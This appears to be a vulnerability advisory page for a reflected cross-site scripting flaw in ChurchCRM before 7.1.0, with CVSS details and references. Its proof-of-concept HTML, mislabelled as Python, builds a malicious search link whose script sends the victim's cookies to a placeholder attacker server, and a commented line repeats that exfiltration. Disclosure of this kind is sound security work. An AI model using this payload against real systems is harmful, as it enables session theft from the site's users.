CVE-2026-39338

Description

ChurchCRM is an open-source church management system. Prior to 7.1.0, a Blind Reflected Cross-Site Scripting vulnerability exists in the search parameter accepted by the ChurchCRM dashboard. The application fails to sanitize or encode user-supplied input prior to rendering it within the browser's DOM. Although the application ultimately returns an HTTP 500 error due to the malformed API request caused by the payload, the browser's JavaScript engine parses and executes the injected <script> tags before the error response is returned — resulting in successful code execution regardless of the server-side error. This vulnerability is fixed in 7.1.0.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:* - VULNERABLE

ChurchCRM < 7.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-39338 (Blind Reflected XSS in ChurchCRM)
Target: ChurchCRM < 7.1.0
Parameter: search parameter (e.g., q or search query)
-->

<html>
<body>
<h1>CVE-2026-39338 PoC</h1>
<p>Click the link below to trigger the XSS. Note that the server may return a 500 error, but the script executes before the response is finalized.</p>

<!-- Malicious URL construction -->
<a href="http://target-churchcrm-url/Search.php?q=<script>alert('XSS_CVE-2026-39338');fetch('http://attacker-server/?b='+document.cookie)</script>">
  Click to Exploit
</a>

<script>
  // Automated verification script (if needed)
  // var payload = "<script>fetch('http://attacker-server/?c='+document.cookie)<\/script>";
  // window.location.href = "http://target-url/Search.php?q=" + encodeURIComponent(payload);
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39338
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39338
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39338/
[4] VulDB https://vuldb.com/cve/CVE-2026-39338
[5] https://github.com/ChurchCRM/CRM/security/advisories/GHSA-3ghg-qfqw-rcqf

Raw JSON Data

JSON

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